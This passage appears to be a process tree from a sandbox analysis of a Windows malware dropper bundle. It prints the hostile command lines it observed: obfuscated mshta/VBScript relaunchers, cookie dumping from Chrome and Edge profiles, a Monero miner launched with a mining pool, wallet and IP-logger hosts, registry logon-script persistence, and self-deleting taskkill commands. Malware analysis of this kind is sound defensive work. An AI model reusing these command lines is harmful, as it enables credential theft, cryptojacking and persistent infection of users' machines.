    C:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 1472
    3⤵
    - Program crash
    PID:7024
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 1520
    3⤵
    - Executes dropped EXE
    - Program crash
    PID:3660
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3276 -s 900
    3⤵
    - Program crash
    PID:6620
- C:\Users\Admin\Documents\FlcudmvkDUbtbt3t958L_EBp.exe
  "C:\Users\Admin\Documents\FlcudmvkDUbtbt3t958L_EBp.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:748
- - C:\Users\Admin\Documents\FlcudmvkDUbtbt3t958L_EBp.exe
    C:\Users\Admin\Documents\FlcudmvkDUbtbt3t958L_EBp.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4364
- C:\Users\Admin\Documents\wXGk94iPJr2Ikj1_qGkhwEpH.exe
  "C:\Users\Admin\Documents\wXGk94iPJr2Ikj1_qGkhwEpH.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:3480
- C:\Users\Admin\Documents\FaXFNxXkXkYrMFn8WzUGBuAF.exe
  "C:\Users\Admin\Documents\FaXFNxXkXkYrMFn8WzUGBuAF.exe"
  2⤵
  - Executes dropped EXE
  PID:2092
- - C:\Users\Admin\Documents\FaXFNxXkXkYrMFn8WzUGBuAF.exe
    "C:\Users\Admin\Documents\FaXFNxXkXkYrMFn8WzUGBuAF.exe"
    3⤵
    PID:2200
- C:\Users\Admin\Documents\CDLZVrUaVp4YVmypntsD4WsF.exe
  "C:\Users\Admin\Documents\CDLZVrUaVp4YVmypntsD4WsF.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:1580
- C:\Users\Admin\Documents\y22xJuNwCBLbFp87x7pFQu3E.exe
  "C:\Users\Admin\Documents\y22xJuNwCBLbFp87x7pFQu3E.exe"
  2⤵
  - Executes dropped EXE
  PID:3288
- - C:\Users\Admin\Documents\y22xJuNwCBLbFp87x7pFQu3E.exe
    "C:\Users\Admin\Documents\y22xJuNwCBLbFp87x7pFQu3E.exe" -q
    3⤵
    - Executes dropped EXE
    PID:4200
- C:\Users\Admin\Documents\MdsGwXIxjqpjA5f32VkUNxw5.exe
  "C:\Users\Admin\Documents\MdsGwXIxjqpjA5f32VkUNxw5.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of AdjustPrivilegeToken
  PID:4080
- C:\Users\Admin\Documents\DZ_nUHeLDRnLljomhIn9zeP9.exe
  "C:\Users\Admin\Documents\DZ_nUHeLDRnLljomhIn9zeP9.exe"
  2⤵
  - Executes dropped EXE
  PID:3784
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3784 -s 660
    3⤵
    - Program crash
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4348
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3784 -s 696
    3⤵
    - Program crash
    PID:3636
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3784 -s 696
    3⤵
    - Program crash
    PID:3636
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3784 -s 712
    3⤵
    - Program crash
    PID:5376
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3784 -s 1080
    3⤵
    - Program crash
    PID:5820
- C:\Users\Admin\Documents\V8JNzJOqyTcCFJCV2ktX6f7k.exe
  "C:\Users\Admin\Documents\V8JNzJOqyTcCFJCV2ktX6f7k.exe"
  2⤵
  PID:3660
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\1798497743.exe"
    3⤵
    PID:4216
  - - C:\Users\Admin\AppData\Local\Temp\1798497743.exe
      "C:\Users\Admin\AppData\Local\Temp\1798497743.exe"
      4⤵
      PID:5492
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\1593911989.exe"
    3⤵
    PID:6756
  - - C:\Users\Admin\AppData\Local\Temp\1593911989.exe
      "C:\Users\Admin\AppData\Local\Temp\1593911989.exe"
      4⤵
      PID:4988
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c taskkill /im "V8JNzJOqyTcCFJCV2ktX6f7k.exe" /f & erase "C:\Users\Admin\Documents\V8JNzJOqyTcCFJCV2ktX6f7k.exe" & exit
    3⤵
    PID:6960
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im "V8JNzJOqyTcCFJCV2ktX6f7k.exe" /f
      4⤵
      Kills process with taskkill
      PID:908
- C:\Users\Admin\Documents\imnJqNCKqtnJ0H5aawNCzZTY.exe
  "C:\Users\Admin\Documents\imnJqNCKqtnJ0H5aawNCzZTY.exe"
  2⤵
  - Executes dropped EXE
  PID:736
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\System32\mshta.exe" vbSCRipt:ClOSe( creATEoBJEcT("WscRIpT.sHEll" ).RUN("Cmd /Q /C tYPe ""C:\Users\Admin\Documents\imnJqNCKqtnJ0H5aawNCzZTY.exe"" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if """" == """" for %W iN ( ""C:\Users\Admin\Documents\imnJqNCKqtnJ0H5aawNCzZTY.exe"" ) do taskkill -IM ""%~nXW"" -f " ,0 ,TRUE ) )
    3⤵
    PID:4644
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /Q /C tYPe "C:\Users\Admin\Documents\imnJqNCKqtnJ0H5aawNCzZTY.exe" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if ""=="" for %W iN ( "C:\Users\Admin\Documents\imnJqNCKqtnJ0H5aawNCzZTY.exe") do taskkill -IM "%~nXW" -f
      4⤵
      PID:1756
    - - C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe
        
        WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9
        5⤵
        Executes dropped EXE
        
        PID:4776
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbSCRipt:ClOSe( creATEoBJEcT("WscRIpT.sHEll" ).RUN("Cmd /Q /C tYPe ""C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe"" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if ""-PifOcLbay~PF~N8a_e9RyKpu9 "" == """" for %W iN ( ""C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe"" ) do taskkill -IM ""%~nXW"" -f " ,0 ,TRUE ) )
        6⤵
        
        PID:5520
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /Q /C tYPe "C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe" > WO~L~OYJWS8EVL1.eXe && STaRt WO~L~oYjWS8EvL1.Exe -PifOcLbay~PF~N8a_e9RyKpu9 & if "-PifOcLbay~PF~N8a_e9RyKpu9 "=="" for %W iN ( "C:\Users\Admin\AppData\Local\Temp\WO~L~OYJWS8EVL1.eXe") do taskkill -IM "%~nXW" -f
        7⤵
        
        PID:5556
      - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" ~IWm4Wh.I,nKhkoYTFE
        6⤵
        
        PID:4040
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -IM "imnJqNCKqtnJ0H5aawNCzZTY.exe" -f
        5⤵
        Kills process with taskkill
        
        PID:3876
- C:\Users\Admin\Documents\Qx7gdQTN95HYE01efafrkybZ.exe
  "C:\Users\Admin\Documents\Qx7gdQTN95HYE01efafrkybZ.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  PID:852
- - C:\Program Files (x86)\Company\NewProduct\customer3.exe
    "C:\Program Files (x86)\Company\NewProduct\customer3.exe"
    3⤵
    - Executes dropped EXE
    PID:4472
  - - C:\Users\Admin\AppData\Local\Temp\11111.exe
      C:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      PID:2988
  - - C:\Users\Admin\AppData\Local\Temp\11111.exe
      C:\Users\Admin\AppData\Local\Temp\11111.exe /DeleteCookiesWildcard "*.facebook.com"
      4⤵
      PID:5180
  - - C:\Users\Admin\AppData\Local\Temp\11111.exe
      C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      PID:5936
  - - C:\Users\Admin\AppData\Local\Temp\11111.exe
      C:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /DeleteCookiesWildcard "*.facebook.com"
      4⤵
      PID:5308
  - - C:\Users\Admin\AppData\Local\Temp\22222.exe
      C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      PID:4980
  - - C:\Users\Admin\AppData\Local\Temp\22222.exe
      C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /DeleteCookiesWildcard "*.facebook.com"
      4⤵
      PID:3328
  - - C:\Users\Admin\AppData\Local\Temp\22222.exe
      C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      PID:4216
  - - C:\Users\Admin\AppData\Local\Temp\22222.exe
      C:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /DeleteCookiesWildcard "*.facebook.com"
      4⤵
      PID:5104
- - C:\Program Files (x86)\Company\NewProduct\jooyu.exe
    "C:\Program Files (x86)\Company\NewProduct\jooyu.exe"
    3⤵
    - Executes dropped EXE
    PID:4560
  - - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      PID:4000
  - - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      PID:2756
  - - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      PID:10876
  - - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
      C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
      4⤵
      PID:8196
- - C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
    "C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
    3⤵
    PID:4508
- C:\Users\Admin\Documents\wq59V2f4aLmYc2pNSJBddGBZ.exe
  "C:\Users\Admin\Documents\wq59V2f4aLmYc2pNSJBddGBZ.exe"
  2⤵
  - Executes dropped EXE
  PID:944
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c taskkill /im "wq59V2f4aLmYc2pNSJBddGBZ.exe" /f & erase "C:\Users\Admin\Documents\wq59V2f4aLmYc2pNSJBddGBZ.exe" & exit
    3⤵
    PID:3556
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im "wq59V2f4aLmYc2pNSJBddGBZ.exe" /f
      4⤵
      Kills process with taskkill
      PID:6580
- C:\Users\Admin\Documents\EE8wO27W2URWE24kLbz534Tq.exe
  "C:\Users\Admin\Documents\EE8wO27W2URWE24kLbz534Tq.exe"
  2⤵
  - Executes dropped EXE
  PID:848
- C:\Users\Admin\Documents\Gk5Pj8hsUDNLarsL0S4nKteg.exe
  "C:\Users\Admin\Documents\Gk5Pj8hsUDNLarsL0S4nKteg.exe"
  2⤵
  - Executes dropped EXE
  PID:2236
- C:\Users\Admin\Documents\7_sQ9ztsp0u4lXoJ2NXgIof7.exe
  "C:\Users\Admin\Documents\7_sQ9ztsp0u4lXoJ2NXgIof7.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2312
- - C:\Users\Admin\Documents\7_sQ9ztsp0u4lXoJ2NXgIof7.exe
    "C:\Users\Admin\Documents\7_sQ9ztsp0u4lXoJ2NXgIof7.exe"
    3⤵
    PID:2152
- - C:\Users\Admin\Documents\7_sQ9ztsp0u4lXoJ2NXgIof7.exe
    "C:\Users\Admin\Documents\7_sQ9ztsp0u4lXoJ2NXgIof7.exe"
    3⤵
    PID:2124
- C:\Users\Admin\Documents\NDefALUu7hN5GyXJtSp3sHUy.exe
  "C:\Users\Admin\Documents\NDefALUu7hN5GyXJtSp3sHUy.exe"
  2⤵
  PID:4232
- - C:\Users\Admin\AppData\Local\Temp\is-6FSN9.tmp\NDefALUu7hN5GyXJtSp3sHUy.tmp
    "C:\Users\Admin\AppData\Local\Temp\is-6FSN9.tmp\NDefALUu7hN5GyXJtSp3sHUy.tmp" /SL5="$4026E,138429,56832,C:\Users\Admin\Documents\NDefALUu7hN5GyXJtSp3sHUy.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of FindShellTrayWindow
    PID:4580
  - - C:\Users\Admin\AppData\Local\Temp\is-P9N5D.tmp\Setup.exe
      "C:\Users\Admin\AppData\Local\Temp\is-P9N5D.tmp\Setup.exe" /Verysilent
      4⤵
      PID:5244
    - - C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe" /Verysilent
        5⤵
        
        PID:5560
      - C:\Users\Admin\AppData\Local\Temp\is-KEC2V.tmp\Stats.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-KEC2V.tmp\Stats.tmp" /SL5="$1037C,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\Stats.exe" /Verysilent
        6⤵
        
        PID:5908
        
        C:\Users\Admin\AppData\Local\Temp\is-P7VSO.tmp\builder.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-P7VSO.tmp\builder.exe" -algo'' -pool'stratum+tcp://xmr-asia1.nanopool.org:14444' -wallet'42Lm2CeGer8hubckgimBBXhKWRnZqtLx74Ye2HcyMyikARReDxWRn15Bia1k8qgnboPNxEZJHN5HgX8eNa1EP7xeA3X8Z7s' -load'50' -idleload'50' -loggerSa'2no.co' -loggerS'1C6Ua7' -loggerRa'iplogger.org' -loggerR'1cmAy7' -loggerWa'2no.co' -loggerW'' -ico'' -glue'' -error'' -worker'' -icrypt'' -sremoval'' -ntask'SystemCheck' -ptask'System\' -atask'Microsoft_Corporation' -dtask'Starts_a_system_diagnostics_application_to_scan_for_errors_and_performance_problems.' -pinstall'Roaming\Microsoft\Windows\' -ninstall'Helper' -sinstall'-SystemCheck'
        7⤵
        
        PID:4660
    - - C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe"
        5⤵
        
        PID:5624
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5624 -s 756
        6⤵
        Program crash
        
        PID:6280
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5624 -s 780
        6⤵
        Program crash
        
        PID:6620
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5624 -s 840
        6⤵
        Program crash
        
        PID:6912
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5624 -s 736
        6⤵
        Program crash
        
        PID:7132
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5624 -s 956
        6⤵
        Program crash
        
        PID:5256
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5624 -s 988
        6⤵
        Program crash
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3636
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5624 -s 1016
        6⤵
        Program crash
        
        PID:6964
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5624 -s 1284
        6⤵
        Program crash
        
        PID:5212
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5624 -s 1316
        6⤵
        Program crash
        
        PID:5468
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5624 -s 1416
        6⤵
        Program crash
        
        PID:6504
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5624 -s 1600
        6⤵
        Program crash
        
        PID:5732
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5624 -s 1672
        6⤵
        Program crash
        
        PID:7324
    - - C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SID=717 CID=717 SILENT=1 /quiet
        5⤵
        
        PID:5724
      - C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner 1.0.0\install\FD7DF1F\Cleaner Installation.msi" SID=717 CID=717 SILENT=1 /quiet AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629579446 SID=717 CID=717 SILENT=1 /quiet " SID="717" CID="717"
        6⤵
        
        PID:7752
    - - C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe" /Verysilent
        5⤵
        
        PID:5828
      - C:\Users\Admin\AppData\Local\Temp\is-TMFTK.tmp\WEATHER Manager.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-TMFTK.tmp\WEATHER Manager.tmp" /SL5="$10392,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe" /Verysilent
        6⤵
        
        PID:908
        
        C:\Users\Admin\AppData\Local\Temp\is-63F8D.tmp\Setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-63F8D.tmp\Setup.exe" /quiet SILENT=1 AF=715 BF=715
        7⤵
        
        PID:7060
        
        C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Weather\Weather 1.0.0\install\FD7DF1F\Weather Installation.msi" /quiet SILENT=1 AF=715 BF=715 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\is-63F8D.tmp\Setup.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\is-63F8D.tmp\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629579446 /quiet SILENT=1 AF=715 BF=715 " AF="715" AI_CONTROL_VISUAL_STYLE="16578540;16578540;14988840;12422912" BF="715"
        8⤵
        
        PID:8380
    - - C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe" /Verysilent
        5⤵
        
        PID:5676
      - C:\Users\Admin\AppData\Local\Temp\is-85PG0.tmp\Inlog.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-85PG0.tmp\Inlog.tmp" /SL5="$10386,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe" /Verysilent
        6⤵
        
        PID:5992
        
        C:\Users\Admin\AppData\Local\Temp\is-CKV1L.tmp\Setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-CKV1L.tmp\Setup.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs74449 -token mtn1co3fo4gs5vwq -subid 721
        7⤵
        
        PID:6572
        
        C:\Users\Admin\AppData\Local\Temp\is-IKJ6M.tmp\Setup.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-IKJ6M.tmp\Setup.tmp" /SL5="$304C2,17356095,721408,C:\Users\Admin\AppData\Local\Temp\is-CKV1L.tmp\Setup.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs74449 -token mtn1co3fo4gs5vwq -subid 721
        8⤵
        
        PID:6932
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c expand C:\Users\Admin\AppData\Local\Temp\is-60NO3.tmp\{app}\microsoft.cab -F:* %ProgramData%
        9⤵
        
        PID:6488
        
        C:\Windows\SysWOW64\expand.exe
        
        expand C:\Users\Admin\AppData\Local\Temp\is-60NO3.tmp\{app}\microsoft.cab -F:* C:\ProgramData
        10⤵
        
        PID:6288
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "%ProgramData%\regid.1993-06.com.microsoft\svrwebui.exe" /f
        9⤵
        
        PID:5360
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe" /f
        10⤵
        
        PID:8184
        
        C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe
        
        "C:\ProgramData\regid.1993-06.com.microsoft\svrwebui.exe"
        9⤵
        
        PID:1052
        
        C:\Users\Admin\AppData\Local\Temp\is-60NO3.tmp\{app}\vdi_compiler.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-60NO3.tmp\{app}\vdi_compiler"
        9⤵
        
        PID:1032
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c ping localhost -n 4 && del "C:\Users\Admin\AppData\Local\Temp\is-60NO3.tmp\{app}\vdi_compiler.exe"
        10⤵
        
        PID:9072
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping localhost -n 4
        11⤵
        Runs ping.exe
        
        PID:7712
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c start http://afleof21klg.top/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=74449^&param=721
        9⤵
        
        PID:2284
    - - C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe" /Verysilent
        5⤵
        
        PID:5884
      - C:\Users\Admin\AppData\Local\Temp\is-S0LL9.tmp\VPN.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-S0LL9.tmp\VPN.tmp" /SL5="$10396,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe" /Verysilent
        6⤵
        
        PID:4676
        
        C:\Users\Admin\AppData\Local\Temp\is-J2S3M.tmp\Setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-J2S3M.tmp\Setup.exe" /silent /subid=720
        7⤵
        
        PID:6844
        
        C:\Users\Admin\AppData\Local\Temp\is-VA0T6.tmp\Setup.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-VA0T6.tmp\Setup.tmp" /SL5="$204C0,15170975,270336,C:\Users\Admin\AppData\Local\Temp\is-J2S3M.tmp\Setup.exe" /silent /subid=720
        8⤵
        
        PID:6200
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "
        9⤵
        
        PID:5264
        
        C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
        
        tapinstall.exe remove tap0901
        10⤵
        
        PID:8740
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "
        9⤵
        
        PID:6396
        
        C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
        
        tapinstall.exe install OemVista.inf tap0901
        10⤵
        
        PID:7344
        
        C:\Program Files (x86)\MaskVPN\mask_svc.exe
        
        "C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall
        9⤵
        
        PID:6112
        
        C:\Program Files (x86)\MaskVPN\mask_svc.exe
        
        "C:\Program Files (x86)\MaskVPN\mask_svc.exe" install
        9⤵
        
        PID:6636
    - - C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe"
        5⤵
        
        PID:5956
      - C:\Users\Admin\AppData\Roaming\8508992.exe
        
        "C:\Users\Admin\AppData\Roaming\8508992.exe"
        6⤵
        
        PID:5616
      - C:\Users\Admin\AppData\Roaming\5080063.exe
        
        "C:\Users\Admin\AppData\Roaming\5080063.exe"
        6⤵
        
        PID:5092
      - C:\Users\Admin\AppData\Roaming\7618740.exe
        
        "C:\Users\Admin\AppData\Roaming\7618740.exe"
        6⤵
        
        PID:6172
      - C:\Users\Admin\AppData\Roaming\7339808.exe
        
        "C:\Users\Admin\AppData\Roaming\7339808.exe"
        6⤵
        
        PID:6244
      - C:\Users\Admin\AppData\Roaming\4190437.exe
        
        "C:\Users\Admin\AppData\Roaming\4190437.exe"
        6⤵
        
        PID:6292
    - - C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe"
        5⤵
        
        PID:6028
      - C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe" -q
        6⤵
        
        PID:4076
    - - C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe
        
        "C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"
        5⤵
        
        PID:5168
      - C:\Users\Admin\AppData\Local\Temp\is-SUQ5U.tmp\MediaBurner2.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-SUQ5U.tmp\MediaBurner2.tmp" /SL5="$103BC,506127,422400,C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"
        6⤵
        
        PID:5172
        
        C:\Users\Admin\AppData\Local\Temp\is-S7H65.tmp\ultradumnibour.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-S7H65.tmp\ultradumnibour.exe" /S /UID=burnerch2
        7⤵
        
        PID:3848
        
        C:\Program Files\7-Zip\BXYCTAKRGY\ultramediaburner.exe
        
        "C:\Program Files\7-Zip\BXYCTAKRGY\ultramediaburner.exe" /VERYSILENT
        8⤵
        
        PID:6132
        
        C:\Users\Admin\AppData\Local\Temp\is-C1CV3.tmp\ultramediaburner.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-C1CV3.tmp\ultramediaburner.tmp" /SL5="$401F0,281924,62464,C:\Program Files\7-Zip\BXYCTAKRGY\ultramediaburner.exe" /VERYSILENT
        9⤵
        
        PID:4312
        
        C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
        
        "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
        10⤵
        
        PID:7368
        
        C:\Users\Admin\AppData\Local\Temp\6d-d55d9-d2a-d8bbf-694003477de5b\Vyshedikuku.exe
        
        "C:\Users\Admin\AppData\Local\Temp\6d-d55d9-d2a-d8bbf-694003477de5b\Vyshedikuku.exe"
        8⤵
        
        PID:6212
        
        C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
        
        dw20.exe -x -s 2340
        9⤵
        
        PID:504
        
        C:\Users\Admin\AppData\Local\Temp\06-7d0d8-336-b85bd-7d8eaa99468ee\Xegalyzhovi.exe
        
        "C:\Users\Admin\AppData\Local\Temp\06-7d0d8-336-b85bd-7d8eaa99468ee\Xegalyzhovi.exe"
        8⤵
        
        PID:7048
        
